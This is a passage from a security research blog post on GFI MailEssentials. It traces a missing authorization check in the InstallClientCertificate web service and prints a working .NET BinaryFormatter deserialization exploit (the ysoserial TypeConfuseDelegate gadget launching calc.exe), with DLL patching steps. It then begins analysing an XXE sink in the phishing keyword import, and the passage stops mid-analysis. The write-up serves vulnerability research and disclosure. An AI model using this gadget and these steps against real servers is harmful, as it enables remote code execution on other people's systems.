				<span class="n">userName</span> <span class="p">=</span> <span class="kt">string</span><span class="p">.</span><span class="nf">Format</span><span class="p">(</span><span class="s">"{0}@{1}"</span><span class="p">,</span> <span class="n">userName</span><span class="p">,</span> <span class="n">GetSId</span><span class="p">.</span><span class="nf">GetLocalDomain</span><span class="p">());</span>
				<span class="n">MasterClass</span><span class="p">.</span><span class="nf">LogDebug</span><span class="p">(</span><span class="kt">string</span><span class="p">.</span><span class="nf">Format</span><span class="p">(</span><span class="s">"ValidateCredentials... Domain not entered! Assuming it belongs to the local domain: {0}"</span><span class="p">,</span> <span class="n">userName</span><span class="p">),</span> <span class="k">this</span><span class="p">.</span><span class="n">category</span><span class="p">);</span>
			<span class="p">}</span>
			<span class="k">try</span>
			<span class="p">{</span>
				<span class="k">if</span> <span class="p">(!</span><span class="n">remotingHelperInstance</span><span class="p">.</span><span class="nf">IsAuthenticate</span><span class="p">(</span><span class="n">userName</span><span class="p">,</span> <span class="n">password</span><span class="p">,</span> <span class="k">true</span><span class="p">))</span>
				<span class="p">{</span>
					<span class="n">MasterClass</span><span class="p">.</span><span class="nf">LogWarning</span><span class="p">(</span><span class="s">"ValidateCredentials... Wrong username or password!"</span><span class="p">,</span> <span class="k">this</span><span class="p">.</span><span class="n">category</span><span class="p">);</span>
					<span class="k">throw</span> <span class="k">new</span> <span class="nf">FaultException</span><span class="p">(</span><span class="s">"Wrong username or password!"</span><span class="p">,</span> <span class="k">new</span> <span class="nf">FaultCode</span><span class="p">(</span><span class="s">"WrongUserNameOrPassword"</span><span class="p">));</span>
				<span class="p">}</span>
				<span class="n">MasterClass</span><span class="p">.</span><span class="nf">LogDebug</span><span class="p">(</span><span class="s">"ValidateCredentials...  User authenticated"</span><span class="p">,</span> <span class="k">this</span><span class="p">.</span><span class="n">category</span><span class="p">);</span>
				<span class="k">goto</span> <span class="n">IL_1BC</span><span class="p">;</span>
			<span class="p">}</span>
			<span class="k">catch</span> <span class="p">(</span><span class="n">Exception</span> <span class="n">ex</span><span class="p">)</span>
			<span class="p">{</span>
				<span class="n">MasterClass</span><span class="p">.</span><span class="nf">LogWarning</span><span class="p">(</span><span class="s">"ValidateCredentials... "</span> <span class="p">+</span> <span class="n">ex</span><span class="p">,</span> <span class="k">this</span><span class="p">.</span><span class="n">category</span><span class="p">);</span>
				<span class="k">throw</span> <span class="k">new</span> <span class="nf">FaultException</span><span class="p">(</span><span class="s">"Wrong username or password!"</span><span class="p">,</span> <span class="k">new</span> <span class="nf">FaultCode</span><span class="p">(</span><span class="s">"WrongUserNameOrPassword"</span><span class="p">));</span>
			<span class="p">}</span>
		<span class="p">}</span>
		<span class="n">MasterClass</span><span class="p">.</span><span class="nf">LogDebug</span><span class="p">(</span><span class="s">"ValidateCredentials... Local authentication"</span><span class="p">,</span> <span class="k">this</span><span class="p">.</span><span class="n">category</span><span class="p">);</span>
		<span class="k">if</span> <span class="p">(!</span><span class="n">remotingHelperInstance</span><span class="p">.</span><span class="nf">IsAuthenticate</span><span class="p">(</span><span class="n">userName</span><span class="p">,</span> <span class="n">password</span><span class="p">,</span> <span class="k">false</span><span class="p">))</span> <span class="c1">// [5]</span>
		<span class="p">{</span>
			<span class="n">MasterClass</span><span class="p">.</span><span class="nf">LogWarning</span><span class="p">(</span><span class="s">"ValidateCredentials... Wrong username or password!"</span><span class="p">,</span> <span class="k">this</span><span class="p">.</span><span class="n">category</span><span class="p">);</span>
			<span class="k">throw</span> <span class="k">new</span> <span class="nf">FaultException</span><span class="p">(</span><span class="s">"Wrong username or password!"</span><span class="p">,</span> <span class="k">new</span> <span class="nf">FaultCode</span><span class="p">(</span><span class="s">"WrongUserNameOrPassword"</span><span class="p">));</span>
		<span class="p">}</span>
		<span class="n">MasterClass</span><span class="p">.</span><span class="nf">LogDebug</span><span class="p">(</span><span class="s">"ValidateCredentials... User authenticated"</span><span class="p">,</span> <span class="k">this</span><span class="p">.</span><span class="n">category</span><span class="p">);</span>
		<span class="n">IL_1BC</span><span class="p">:;</span>
	<span class="p">}</span>
	<span class="c1">// ...</span>
</code></pre></div></div>

<p>Using <code class="language-plaintext highlighter-rouge">userName</code> and <code class="language-plaintext highlighter-rouge">password</code>, the <code class="language-plaintext highlighter-rouge">Validate</code> method tries to authenticate the identity using either Active Directory (AD) access [4], or a local Windows user [5].
Following e.g. the AD case down to <code class="language-plaintext highlighter-rouge">MEC.Sid.GetSId::IsAuthenticate(System.String,System.String,System.Boolean)</code> shows that only the successful authentication is a requirement
for further processing, but no authorization checks were seen on the way. If one compares this to other web service methods such as <code class="language-plaintext highlighter-rouge">MailEssentialsClientService.MasterClass/MultiNodeService::CheckForNewCertificates(System.Collections.Generic.List`1&lt;System.String&gt;,System.String)</code>,</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">public</span> <span class="k">static</span> <span class="n">Stream</span> <span class="nf">CheckForNewCertificates</span><span class="p">(</span><span class="n">List</span><span class="p">&lt;</span><span class="kt">string</span><span class="p">&gt;</span> <span class="n">certificatesSerials</span><span class="p">,</span> <span class="kt">string</span> <span class="n">loggedInUser</span><span class="p">)</span>
<span class="p">{</span>
	<span class="n">MasterClass</span><span class="p">.</span><span class="n">MultiNodeService</span><span class="p">.</span><span class="n">Log</span><span class="p">.</span><span class="nf">Info</span><span class="p">(</span><span class="s">"CheckForNewCertificates() &gt;&gt;"</span><span class="p">,</span> <span class="k">new</span> <span class="kt">object</span><span class="p">[</span><span class="m">0</span><span class="p">]);</span>
	<span class="n">Stream</span> <span class="n">stream</span> <span class="p">=</span> <span class="k">null</span><span class="p">;</span>
	<span class="k">try</span>
	<span class="p">{</span>
		<span class="k">if</span> <span class="p">(!</span><span class="n">MasterClass</span><span class="p">.</span><span class="n">MultiNodeService</span><span class="p">.</span><span class="nf">IsCurrentUserAdmin</span><span class="p">(</span><span class="n">loggedInUser</span><span class="p">))</span> <span class="c1">// [6]</span>
		<span class="p">{</span>
			<span class="k">throw</span> <span class="k">new</span> <span class="nf">Exception</span><span class="p">(</span><span class="s">"User is not an admin!"</span><span class="p">);</span> <span class="c1">// [7]</span>
		<span class="p">}</span>
		<span class="c1">// ...</span>
</code></pre></div></div>

<p>we see that a method <code class="language-plaintext highlighter-rouge">IsCurrentUserAdmin</code> checks for the identity being an administrator (SID check under the hood) [6] and throws an exception if not [7].
Nothing like this for our <code class="language-plaintext highlighter-rouge">MailEssentialsClientService.MasterClass/MultiNodeService::InstallClientCertificate(System.IO.Stream)</code>: what a coincidence.</p>

<p>I tried my best for a few hours with <a href="https://www.soapui.org/">SoapUI</a> to configure the client according to every configuration snippet I was reading about,
but in the end I chose the lazy approach (again!). My goal was to prove that the vulnerability exists and is indeed exploitable.
Wasn’t there some user interface or something which I could at least reuse to create proper web service calls? It’s called <code class="language-plaintext highlighter-rouge">MultiNodeService</code> which was
a hint into the right direction, so I searched the normal web application at <code class="language-plaintext highlighter-rouge">/MailEssentials</code> for the matching function.</p>

<p>I didn’t have to search for long.</p>

<p style="text-align: center;"><img src="/assets/images/mailessentials/gfiblog_multiserver.png" alt="Multiserver Setup View" /></p>

<p>Let’s clone the GFI MailEssentials instance so a multi server setup makes sense. Then, the new instance is defined as “master server” (according to GFI’s terminology)
and the old instance we configure as “slave server” like this.</p>

<p style="text-align: center;"><img src="/assets/images/mailessentials/gfiblog_multiserversetup.png" alt="Multiserver Setup Process" /></p>

<p>But before hitting anymore buttons, <a href="https://www.wireshark.org/">Wireshark</a> is started on the slave server instance. Then the setup is completed!
What does Wireshark tell us? Did we hit the function we were looking for?</p>

<p>Looking at the Wireshark streams, we see that our slave server instance fetched the WSDL via <code class="language-plaintext highlighter-rouge">/MailEssentials_Services/MultiNodeConfigurationService.svc?wsdl</code>
from the master server. I.e. <code class="language-plaintext highlighter-rouge">MultiNodeConfigurationService</code> is indeed the web service being called. And we can also observe some SOAP message encryption
on the wire, the ones I was too silly for building those with SoapUI…</p>

<p style="text-align: center;"><img src="/assets/images/mailessentials/gfiblog_wireshark.png" alt="Wireshark Dump" /></p>

<p>So how could my lazy approach look like? What if we simply change the client (slave instance) code so that our malicious serialized object
will be sent over the wire instead of the certificate? I will spare you the arduous task of finding the correct method and present you
<code class="language-plaintext highlighter-rouge">MEC.Configuration.RemotingHelper::ExchangeMultiNodeCertificates(MEC.Configuration.Base.IMultiNodeConfigurationService)</code>. You can verify this
by attaching all processes in dnSpy <strong>32-bit</strong> and set a breakpoint. The <code class="language-plaintext highlighter-rouge">MEC.Configuration.RemotingHelper</code> namespace might trigger some
exploiter senses as well and you might be reminded of our LPE vulnerability case (good catch!). This is also the reason why finding
the proper method, and choosing the correct process with dnSpy bitness, made this a bit hard. 
Let me share a blogger’s favorite phrase: I left this path as an exercise for the reader.</p>

<p>Let’s change some client-side code.
Load the .NET Assembly <code class="language-plaintext highlighter-rouge">C:\Program Files (x86)\GFI\MailEssentials\Attendant\bin\MEC.Configuration.dll</code> in dnSpy (not the one in the <code class="language-plaintext highlighter-rouge">Temporary ASP.NET Files</code> directory; do you know why?) and use James Forshaw’s famous
<a href="https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Generators/TypeConfuseDelegateGenerator.cs">TypeConfuseDelegate gadget</a> to prove the exploitability, shall we?</p>

<p>The relevant code from ysoserial .NET is this.</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">public</span> <span class="k">static</span> <span class="kt">object</span> <span class="nf">TypeConfuseDelegateGadget</span><span class="p">(</span><span class="n">InputArgs</span> <span class="n">inputArgs</span><span class="p">)</span>
<span class="p">{</span>
    <span class="kt">string</span> <span class="n">cmdFromFile</span> <span class="p">=</span> <span class="n">inputArgs</span><span class="p">.</span><span class="n">CmdFromFile</span><span class="p">;</span>

    <span class="k">if</span> <span class="p">(!</span><span class="kt">string</span><span class="p">.</span><span class="nf">IsNullOrEmpty</span><span class="p">(</span><span class="n">cmdFromFile</span><span class="p">))</span>
    <span class="p">{</span>
        <span class="n">inputArgs</span><span class="p">.</span><span class="n">Cmd</span> <span class="p">=</span> <span class="n">cmdFromFile</span><span class="p">;</span>
    <span class="p">}</span>
    
    <span class="n">Delegate</span> <span class="n">da</span> <span class="p">=</span> <span class="k">new</span> <span class="n">Comparison</span><span class="p">&lt;</span><span class="kt">string</span><span class="p">&gt;(</span><span class="n">String</span><span class="p">.</span><span class="n">Compare</span><span class="p">);</span>
    <span class="n">Comparison</span><span class="p">&lt;</span><span class="kt">string</span><span class="p">&gt;</span> <span class="n">d</span> <span class="p">=</span> <span class="p">(</span><span class="n">Comparison</span><span class="p">&lt;</span><span class="kt">string</span><span class="p">&gt;)</span><span class="n">MulticastDelegate</span><span class="p">.</span><span class="nf">Combine</span><span class="p">(</span><span class="n">da</span><span class="p">,</span> <span class="n">da</span><span class="p">);</span>
    <span class="n">IComparer</span><span class="p">&lt;</span><span class="kt">string</span><span class="p">&gt;</span> <span class="n">comp</span> <span class="p">=</span> <span class="n">Comparer</span><span class="p">&lt;</span><span class="kt">string</span><span class="p">&gt;.</span><span class="nf">Create</span><span class="p">(</span><span class="n">d</span><span class="p">);</span>
    <span class="n">SortedSet</span><span class="p">&lt;</span><span class="kt">string</span><span class="p">&gt;</span> <span class="k">set</span> <span class="p">=</span> <span class="k">new</span> <span class="n">SortedSet</span><span class="p">&lt;</span><span class="kt">string</span><span class="p">&gt;(</span><span class="n">comp</span><span class="p">);</span>
    <span class="k">set</span><span class="p">.</span><span class="nf">Add</span><span class="p">(</span><span class="n">inputArgs</span><span class="p">.</span><span class="n">CmdFileName</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">inputArgs</span><span class="p">.</span><span class="n">HasArguments</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="k">set</span><span class="p">.</span><span class="nf">Add</span><span class="p">(</span><span class="n">inputArgs</span><span class="p">.</span><span class="n">CmdArguments</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="k">else</span>
    <span class="p">{</span>
        <span class="k">set</span><span class="p">.</span><span class="nf">Add</span><span class="p">(</span><span class="s">""</span><span class="p">);</span>
    <span class="p">}</span>
    
    <span class="n">FieldInfo</span> <span class="n">fi</span> <span class="p">=</span> <span class="k">typeof</span><span class="p">(</span><span class="n">MulticastDelegate</span><span class="p">).</span><span class="nf">GetField</span><span class="p">(</span><span class="s">"_invocationList"</span><span class="p">,</span> <span class="n">BindingFlags</span><span class="p">.</span><span class="n">NonPublic</span> <span class="p">|</span> <span class="n">BindingFlags</span><span class="p">.</span><span class="n">Instance</span><span class="p">);</span>
    <span class="kt">object</span><span class="p">[]</span> <span class="n">invoke_list</span> <span class="p">=</span> <span class="n">d</span><span class="p">.</span><span class="nf">GetInvocationList</span><span class="p">();</span>
    <span class="c1">// Modify the invocation list to add Process::Start(string, string)</span>
    <span class="n">invoke_list</span><span class="p">[</span><span class="m">1</span><span class="p">]</span> <span class="p">=</span> <span class="k">new</span> <span class="n">Func</span><span class="p">&lt;</span><span class="kt">string</span><span class="p">,</span> <span class="kt">string</span><span class="p">,</span> <span class="n">Process</span><span class="p">&gt;(</span><span class="n">Process</span><span class="p">.</span><span class="n">Start</span><span class="p">);</span>
    <span class="n">fi</span><span class="p">.</span><span class="nf">SetValue</span><span class="p">(</span><span class="n">d</span><span class="p">,</span> <span class="n">invoke_list</span><span class="p">)</span>
    <span class="k">return</span> <span class="k">set</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>I provide you a diff between the original and modified GFI code then.</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Original</span>
<span class="n">X509Certificate2</span> <span class="n">certificate</span> <span class="p">=</span> <span class="k">this</span><span class="p">.</span><span class="nf">GetCertificate</span><span class="p">(</span><span class="s">"GFIMailEssentials"</span><span class="p">);</span>
<span class="n">Stream</span> <span class="n">stream</span> <span class="p">=</span> <span class="k">null</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">certificate</span> <span class="p">!=</span> <span class="k">null</span><span class="p">)</span>
<span class="p">{</span>
	<span class="n">BinaryFormatter</span> <span class="n">binaryFormatter2</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">BinaryFormatter</span><span class="p">();</span>
	<span class="n">stream</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">MemoryStream</span><span class="p">();</span>
	<span class="n">binaryFormatter2</span><span class="p">.</span><span class="nf">Serialize</span><span class="p">(</span><span class="n">stream</span><span class="p">,</span> <span class="n">certificate</span><span class="p">);</span>
	<span class="n">stream</span><span class="p">.</span><span class="n">Position</span> <span class="p">=</span> <span class="m">0L</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">masterMultiNodeConfigurationService</span><span class="p">.</span><span class="nf">InstallClientCertificate</span><span class="p">(</span><span class="n">stream</span><span class="p">);</span>
<span class="k">return</span> <span class="n">flag</span><span class="p">;</span>
<span class="c1">// ------------------------------------------------------------------</span>
<span class="c1">// Modified</span>
<span class="kt">bool</span> <span class="n">certificate</span> <span class="p">=</span> <span class="k">this</span><span class="p">.</span><span class="nf">GetCertificate</span><span class="p">(</span><span class="s">"GFIMailEssentials"</span><span class="p">)</span> <span class="p">!=</span> <span class="k">null</span><span class="p">;</span>
<span class="c1">// ysoserial.NET TypeConfuseDelegate gadget</span>
<span class="n">Comparison</span><span class="p">&lt;</span><span class="kt">string</span><span class="p">&gt;</span> <span class="n">comparison</span> <span class="p">=</span> <span class="k">new</span> <span class="n">Comparison</span><span class="p">&lt;</span><span class="kt">string</span><span class="p">&gt;(</span><span class="kt">string</span><span class="p">.</span><span class="n">Compare</span><span class="p">);</span>
<span class="n">Comparison</span><span class="p">&lt;</span><span class="kt">string</span><span class="p">&gt;</span> <span class="n">comparison2</span> <span class="p">=</span> <span class="p">(</span><span class="n">Comparison</span><span class="p">&lt;</span><span class="kt">string</span><span class="p">&gt;)</span><span class="n">Delegate</span><span class="p">.</span><span class="nf">Combine</span><span class="p">(</span><span class="n">comparison</span><span class="p">,</span> <span class="n">comparison</span><span class="p">);</span>
<span class="n">SortedSet</span><span class="p">&lt;</span><span class="kt">string</span><span class="p">&gt;</span> <span class="n">sortedSet</span> <span class="p">=</span> <span class="k">new</span> <span class="n">SortedSet</span><span class="p">&lt;</span><span class="kt">string</span><span class="p">&gt;(</span><span class="n">Comparer</span><span class="p">&lt;</span><span class="kt">string</span><span class="p">&gt;.</span><span class="nf">Create</span><span class="p">(</span><span class="n">comparison2</span><span class="p">));</span>
<span class="n">sortedSet</span><span class="p">.</span><span class="nf">Add</span><span class="p">(</span><span class="s">"calc.exe"</span><span class="p">);</span>
<span class="n">sortedSet</span><span class="p">.</span><span class="nf">Add</span><span class="p">(</span><span class="s">""</span><span class="p">);</span>
<span class="n">FieldInfo</span> <span class="n">field</span> <span class="p">=</span> <span class="k">typeof</span><span class="p">(</span><span class="n">MulticastDelegate</span><span class="p">).</span><span class="nf">GetField</span><span class="p">(</span><span class="s">"_invocationList"</span><span class="p">,</span> <span class="n">BindingFlags</span><span class="p">.</span><span class="n">Instance</span> <span class="p">|</span> <span class="n">BindingFlags</span><span class="p">.</span><span class="n">NonPublic</span><span class="p">);</span>
<span class="kt">object</span><span class="p">[]</span> <span class="n">invocationList</span> <span class="p">=</span> <span class="n">comparison2</span><span class="p">.</span><span class="nf">GetInvocationList</span><span class="p">();</span>
<span class="kt">object</span><span class="p">[]</span> <span class="n">array2</span> <span class="p">=</span> <span class="n">invocationList</span><span class="p">;</span>
<span class="n">array2</span><span class="p">[</span><span class="m">1</span><span class="p">]</span> <span class="p">=</span> <span class="k">new</span> <span class="n">Func</span><span class="p">&lt;</span><span class="kt">string</span><span class="p">,</span> <span class="kt">string</span><span class="p">,</span> <span class="n">Process</span><span class="p">&gt;(</span><span class="n">Process</span><span class="p">.</span><span class="n">Start</span><span class="p">);</span>
<span class="n">field</span><span class="p">.</span><span class="nf">SetValue</span><span class="p">(</span><span class="n">comparison2</span><span class="p">,</span> <span class="n">array2</span><span class="p">);</span>

<span class="n">Stream</span> <span class="n">stream</span> <span class="p">=</span> <span class="k">null</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">certificate</span><span class="p">)</span>
<span class="p">{</span>
	<span class="n">BinaryFormatter</span> <span class="n">binaryFormatter2</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">BinaryFormatter</span><span class="p">();</span>
	<span class="n">stream</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">MemoryStream</span><span class="p">();</span>
	<span class="n">binaryFormatter2</span><span class="p">.</span><span class="nf">Serialize</span><span class="p">(</span><span class="n">stream</span><span class="p">,</span> <span class="n">sortedSet</span><span class="p">);</span> <span class="c1">//serializing sortedSet instead of certificate</span>
	<span class="n">stream</span><span class="p">.</span><span class="n">Position</span> <span class="p">=</span> <span class="m">0L</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">masterMultiNodeConfigurationService</span><span class="p">.</span><span class="nf">InstallClientCertificate</span><span class="p">(</span><span class="n">stream</span><span class="p">);</span>
<span class="k">return</span> <span class="n">flag</span><span class="p">;</span>
</code></pre></div></div>

<p>Right-click on <code class="language-plaintext highlighter-rouge">RemotingHelper</code> and choose “Edit Class (C#)…” to open the modification dialog</p>

<p style="text-align: center;"><img src="/assets/images/mailessentials/gfiblog_editclass.png" alt="Edit Class" /></p>

<p>and modify it accordingly.</p>

<p style="text-align: center;"><img src="/assets/images/mailessentials/gfiblog_modifiedclass.png" alt="Modified Class" /></p>

<p>The old <code class="language-plaintext highlighter-rouge">MEC.Configuration.dll</code> now has to be overwritten in its GFI MailEssentials directory after all GFI services had been stopped.
After restarting all services, setup the “Multi-Server” constellation. As soon as you click “Apply” on your “slave server” setup,
a <code class="language-plaintext highlighter-rouge">calc</code> will pop up on the “master server” side as indicated in the picture below.</p>

<p style="text-align: center;"><img src="/assets/images/mailessentials/gfiblog_bfrce.png" alt="Deserialization RCE" />
<strong>See the full GIF video <a href="/assets/images/mailessentials/gfiblog_bfrce.gif">here</a></strong></p>

<p>We achieved RCE on the “master server” by a few modifications and using the web user interface. But I’m pretty convinced that <em>any authenticated user</em>
(think about AD environments as worst case scanario) would be able to trigger RCE this way.
We learnt why: look at our investigation of <code class="language-plaintext highlighter-rouge">MailEssentialsClientService.CustomUserNameValidator::Validate(System.String,System.String)</code> again,
combined with the missing authorization check in <code class="language-plaintext highlighter-rouge">MailEssentialsClientService.MasterClass/MultiNodeService::InstallClientCertificate(System.IO.Stream)</code>.</p>

<p>I’m confident one of my readers will ultimately be able to exploit this without my complex experimental setup. Let me know if you succeed.</p>

<h1 id="vulnerability-iii---a-pinch-of-xml-external-entity-at-the-end">Vulnerability III - A Pinch of XML External Entity at the End</h1>

<p>Vulnerability II already was a lot of pain and work so I got through my list of other dangerous sinks and found tons of other interesting stuff
such as calls to <code class="language-plaintext highlighter-rouge">System.Xml.XmlDocument::LoadXml(System.String)</code>: a classic XML External Entity (XXE) sink but with a subtle restriction.
As you might know, applications using <a href="https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#net">.NET Framework &gt;= 4.5.2</a>
are (kind of) protected against various XXE attack vectors by default. Let’s use the dnSpy Analyzer to find GFI-related code.</p>

<p style="text-align: center;"><img src="/assets/images/mailessentials/gfiblog_xxesink.png" alt="XXE Sink" /></p>

<p><code class="language-plaintext highlighter-rouge">MEC.Configuration.RemotingHelper::ImportAntiPhisingKeywordList(System.Object) -&gt; MEC.Configuration.RemotingHelper::ImportAntiPhisingKeywordList(System.Byte[],System.String)</code>
seems to be a first good candidate in GFI MailEssential’s .NET Assembly namespace. dnSpy doesn’t seem to find any more callers for this method but the class
<code class="language-plaintext highlighter-rouge">RemotingHelper</code> implements several interfaces, right? Starting another analysis with <code class="language-plaintext highlighter-rouge">MEC.Configuration.Base.IRemotingHelper::ImportAntiPhisingKeywordList(System.Byte[],System.String)</code>
shows a different picture, namely a new caller from <code class="language-plaintext highlighter-rouge">ContentSecurity.Configuration.PhishingKeywords::btnImport_Click(System.Object,System.EventArgs)</code>.</p>

<p><code class="language-plaintext highlighter-rouge">ContentSecurity.Configuration.PhishingKeywords</code> itself extends <code class="language-plaintext highlighter-rouge">ContentSecurity.Configuration.TabPage</code> which is based on <code class="language-plaintext highlighter-rouge">System.Web.UI.UserControl</code>. For more information
on <code class="language-plaintext highlighter-rouge">UserControl</code> and its relation to <code class="language-plaintext highlighter-rouge">.ascx</code> file extensions, read <a href="https://learn.microsoft.com/en-us/dotnet/api/system.web.ui.usercontrol?view=netframework-4.8.1">Microsoft’s documentation</a>. We’ll find <code class="language-plaintext highlighter-rouge">ContentSecurity.Configuration.PhishingKeywords</code> in at least two different files:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">C:\Program Files (x86)\GFI\MailEssentials\wwwconf\pages\MailSecurity\Phishing.aspx</code></li>
  <li><code class="language-plaintext highlighter-rouge">C:\Program Files (x86)\GFI\MailEssentials\wwwconf\pages\MailSecurity\PhishingKeywords.ascx</code></li>
</ul>

<p><code class="language-plaintext highlighter-rouge">Pishing.aspx</code> contains our User Control <code class="language-plaintext highlighter-rouge">.ascx</code> name in its tag definitions at the very top.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;%@ Page Title="" Language="C#" MasterPageFile="Master.Master" EnableEventValidation="false"  AutoEventWireup="true" CodeBehind="Phishing.aspx.cs" Inherits="ContentSecurity.Configuration.Phishing"%&gt;
&lt;%@ Register TagPrefix="cc1" Namespace="MailEssentials.StringsProvider" Assembly="MailEssentials.StringsProvider" %&gt;
&lt;%@ Register assembly="Telerik.Web.UI" namespace="Telerik.Web.UI" tagprefix="telerik" %&gt;
&lt;%@ Register TagPrefix="Pv" TagName="Pv1" Src="phishinggeneral.ascx"%&gt;
&lt;%@ Register TagPrefix="Pv" TagName="Pv2" Src="phishingkeywords.ascx"%&gt;
&lt;%@ Register TagPrefix="Pv" TagName="Pv3" Src="phishingupdates.ascx"%&gt;
&lt;%@ Register TagPrefix="Pv" TagName="Pv4" Src="phishingactions.ascx"%&gt;
&lt;%-- ... --%&gt;
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">.ascx</code> file then points to the code behind User Control.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;%@ Control Language="C#" AutoEventWireup="true" CodeBehind="PhishingKeywords.ascx.cs"
    Inherits="ContentSecurity.Configuration.PhishingKeywords" %&gt;
	&lt;%-- ... --%&gt;
</code></pre></div></div>

<p>Quickly, I was able to locate the function on the web interface as well.</p>

<p style="text-align: center;"><img src="/assets/images/mailessentials/gfiblog_phishingnavigation.png" alt="Web UI User Control" /></p>

<p>Now back to our code base, belonging to the user interface import button click event at <code class="language-plaintext highlighter-rouge">ContentSecurity.Configuration.PhishingKeywords::btnImport_Click(System.Object,System.EventArgs)</code>.</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">protected</span> <span class="k">void</span> <span class="nf">btnImport_Click</span><span class="p">(</span><span class="kt">object</span> <span class="n">sender</span><span class="p">,</span> <span class="n">EventArgs</span> <span class="n">e</span><span class="p">)</span>
<span class="p">{</span>
	<span class="k">this</span><span class="p">.</span><span class="n">lblImportMessage</span><span class="p">.</span><span class="n">Text</span> <span class="p">=</span> <span class="kt">string</span><span class="p">.</span><span class="n">Empty</span><span class="p">;</span>
	<span class="k">try</span>
	<span class="p">{</span>
		<span class="k">if</span> <span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">fuUlpload</span><span class="p">.</span><span class="n">HasFile</span><span class="p">)</span> <span class="c1">// [9]</span>
		<span class="p">{</span>
			<span class="k">if</span> <span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">fuUlpload</span><span class="p">.</span><span class="n">FileName</span><span class="p">.</span><span class="nf">ToLowerInvariant</span><span class="p">().</span><span class="nf">EndsWith</span><span class="p">(</span><span class="s">"xml"</span><span class="p">))</span> <span class="c1">// [10]</span>
			<span class="p">{</span>
				<span class="k">using</span> <span class="p">(</span><span class="n">MemoryStream</span> <span class="n">memoryStream</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">MemoryStream</span><span class="p">())</span>
				<span class="p">{</span>
					<span class="kt">byte</span><span class="p">[]</span> <span class="n">array</span> <span class="p">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="p">[</span><span class="m">16384</span><span class="p">];</span>
					<span class="kt">int</span> <span class="n">num</span><span class="p">;</span>
					<span class="k">while</span> <span class="p">((</span><span class="n">num</span> <span class="p">=</span> <span class="k">this</span><span class="p">.</span><span class="n">fuUlpload</span><span class="p">.</span><span class="n">PostedFile</span><span class="p">.</span><span class="n">InputStream</span><span class="p">.</span><span class="nf">Read</span><span class="p">(</span><span class="n">array</span><span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="n">array</span><span class="p">.</span><span class="n">Length</span><span class="p">))</span> <span class="p">&gt;</span> <span class="m">0</span><span class="p">)</span> <span class="c1">// [11]</span>
					<span class="p">{</span>
						<span class="n">memoryStream</span><span class="p">.</span><span class="nf">Write</span><span class="p">(</span><span class="n">array</span><span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="n">num</span><span class="p">);</span> <span class="c1">// [12]</span>
					<span class="p">}</span>
					<span class="n">memoryStream</span><span class="p">.</span><span class="n">Position</span> <span class="p">=</span> <span class="m">0L</span><span class="p">;</span>
					<span class="n">MasterClass</span><span class="p">.</span><span class="nf">GetRemotingHelperInstance</span><span class="p">().</span><span class="nf">ImportAntiPhisingKeywordList</span><span class="p">(</span><span class="n">memoryStream</span><span class="p">.</span><span class="nf">ToArray</span><span class="p">(),</span> <span class="s">"xml"</span><span class="p">);</span> <span class="c1">// [13]</span>
				<span class="p">}</span>
				<span class="k">this</span><span class="p">.</span><span class="n">TmrUploadStatus</span><span class="p">.</span><span class="n">Enabled</span> <span class="p">=</span> <span class="k">true</span><span class="p">;</span>
			<span class="p">}</span>
			<span class="k">else</span>
			<span class="p">{</span>
				<span class="k">this</span><span class="p">.</span><span class="n">lblImportMessage</span><span class="p">.</span><span class="n">ForeColor</span> <span class="p">=</span> <span class="n">Color</span><span class="p">.</span><span class="n">Red</span><span class="p">;</span>
				<span class="k">this</span><span class="p">.</span><span class="n">lblImportMessage</span><span class="p">.</span><span class="n">Text</span> <span class="p">=</span> <span class="k">this</span><span class="p">.</span><span class="n">StringsProvider1</span><span class="p">.</span><span class="nf">GetString</span><span class="p">(</span><span class="s">"fileTypeNotSupported"</span><span class="p">);</span>
			<span class="p">}</span>
		<span class="p">}</span>
		<span class="k">else</span>
		<span class="p">{</span>
			<span class="k">this</span><span class="p">.</span><span class="n">lblImportMessage</span><span class="p">.</span><span class="n">ForeColor</span> <span class="p">=</span> <span class="n">Color</span><span class="p">.</span><span class="n">Red</span><span class="p">;</span>
			<span class="k">this</span><span class="p">.</span><span class="n">lblImportMessage</span><span class="p">.</span><span class="n">Text</span> <span class="p">=</span> <span class="k">this</span><span class="p">.</span><span class="n">StringsProvider1</span><span class="p">.</span><span class="nf">GetString</span><span class="p">(</span><span class="s">"/AttachmentCheckingAdd1_ascx.NoFile"</span><span class="p">);</span>
		<span class="p">}</span>
	<span class="p">}</span>
	<span class="c1">// ...</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">fuUlpload</code> is of type <code class="language-plaintext highlighter-rouge">System.Web.UI.WebControls.FileUpload</code> [9], somehow expected for an upload control with an import button.
The uploaded file name extensions should end with <code class="language-plaintext highlighter-rouge">.xml</code> [10]. At [11] the inputstream of the uploaded file request is read into a byte array
